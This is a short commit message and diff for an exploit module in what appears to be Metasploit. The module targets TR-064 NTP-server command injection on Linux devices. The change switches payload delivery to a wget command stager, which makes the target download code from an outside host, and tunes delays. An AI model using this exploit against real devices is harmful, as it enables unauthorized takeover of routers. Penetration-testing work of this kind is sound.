Switch to wget CmdStager and tune timing

We don't want to trample the device with requests.

Author: wvu

modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb

@@ -52,7 +52,8 @@ def initialize(info = {})
           ],
 
         ],
-      'DefaultTarget'    => 0
+      'DefaultTarget'    => 0,
+      'DefaultOptions' => {'WfsDelay' => 10}
       ))
 
     register_options(
@@ -118,11 +119,7 @@ def check
   end
 
   def inject_staged_data
-    execute_cmdstager(
-      flavor: :echo,
-      enc_format: :hex_single_quoted,
-      linemax: 63
-    )
+    execute_cmdstager(flavor: :wget, linemax: 65, delay: 3)
   end
 
   def exploit